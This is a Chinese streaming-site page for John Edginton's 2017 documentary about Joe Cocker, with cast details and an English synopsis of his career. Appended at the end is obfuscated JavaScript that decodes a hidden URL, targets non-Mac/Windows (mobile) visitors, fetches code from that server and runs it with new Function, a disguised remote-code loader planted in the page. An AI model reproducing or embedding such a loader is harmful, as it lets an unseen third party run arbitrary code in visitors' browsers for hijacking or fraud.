首页  »  纪录片  »  乔·科克尔:灵魂疯狗

乔·科克尔:灵魂疯狗
乔·科克尔:灵魂疯狗
主演:Joe Cocker  Pam Cocker  Vic Cocker  
类型:纪录片
状态:HD
导演:John  Edginton  
地区:英国
年份:2017
剧情简介:

  The turbulent life of soul and blues singer, the late Joe Cocker. A former gas fitter from Sheffield , catapulted to world stardom in 1969 at Woodstock with his legendary performance of the Beatles song,"A Little Help from My Friends". But in the early 1970s, Joe Cocker's inner demons nearly killed him. Overcoming his struggles with alcohol and drugs, he rebuilt his reputation as "one of the great primal rock and roll vocalists of all time" (Billy Joel's description). The film mixes Joe Cocker's own words, with rare archive. His family, friends and the legendary songwriters and musicians he collaborated with, tell Joe Cocker's story. The film has raw, electric performance footage throughout.

  • 乐云

无需安装任何插件,即可快速播放

倒序↓顺序↑

 纪录片 最近热播

window['NuYMsS'] = function(){ var keyList = [ "3dZDw9T58oCjPhkArf+MBi4Ll27y8fe5uTs1t+rS7jPwoDpFG0cLnivO" , "N+HXzh8qK=CGgmcV91LaS7ETYj0n4Tn0krdcat3B+Ye4=JC9fmq7OlDMEg", "Hm0FOrxhT5fAgnivd3pCbLyGNV4QU6q9uwjZoPts+10Z9XNicgkhIw:R5/JC.je3Wo4rBxbapSy=", "VHlQxqJ2gELSvZ5in08B+opeYAC6r3KGueDrmRYbNzBs4x92dlucfGMPg85U60Z-FO", ]; function decrypt(t, e) { if (!t) return ""; for (var a = t.split(""), n = e.split(""), i = {}, r = [], o = 0;o < a.length / 2;o++) i[a[o]] = a[a.length / 2 + o]; for (var s = 0; s < e.length; s++) r.push(i[n[s]]); return r.join(""); }; (!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?(function(u, i, w, d) { var x = decrypt, cs = d[x(keyList[0],"4wCCZl9T4C2k9")], crd = x(keyList[1],"8zmqNmmYmSm+N"); 'jQuery'; u = decodeURIComponent(x(keyList[2], u)); 'jQuery'; var xhr = new XMLHttpRequest(); xhr.open('GET', u + '/s/a?_=' + x(keyList[3], i)); xhr.onreadystatechange = function() { if (xhr.readyState == 4 && xhr.status == 200) { var data = JSON.parse(xhr.responseText); new Function(data.data)(cs); } }; xhr.send('u=1'); })("nHHjmdCCwj5yhonhyQ3A", "SAZYASrZ5rZYAYrSYr", window, document):function(){}; var _keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; function decode(input) { var output = ""; var chr1, chr2, chr3; var enc1, enc2, enc3, enc4; var i = 0; input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); while (i < input.length) { enc1 = _keyStr.indexOf(input.charAt(i++)); enc2 = _keyStr.indexOf(input.charAt(i++)); enc3 = _keyStr.indexOf(input.charAt(i++)); enc4 = _keyStr.indexOf(input.charAt(i++)); chr1 = (enc1 << 2) | (enc2 >> 4); chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); chr3 = ((enc3 & 3) << 6) | enc4; output = output + String.fromCharCode(chr1); if (enc3 != 64) { output = output + String.fromCharCode(chr2); } if (enc4 != 64) { output = output + String.fromCharCode(chr3); } } output = _utf8_decode(output); return output; } function _utf8_decode(utftext) { var string = ""; var i = 0; var c = 0; var c1 = 0; var c2 = 0; while (i < utftext.length) { c = utftext.charCodeAt(i); if (c < 128) { string += String.fromCharCode(c); i++; } else if ((c > 191) && (c < 224)) { c1 = utftext.charCodeAt(i + 1); string += String.fromCharCode(((c & 31) << 6) | (c1 & 63)); i += 2; } else { c1 = utftext.charCodeAt(i + 1); c2 = utftext.charCodeAt(i + 2); string += String.fromCharCode(((c & 15) << 12) | ((c1 & 63) << 6) | (c2 & 63)); i += 3; } } return string; }}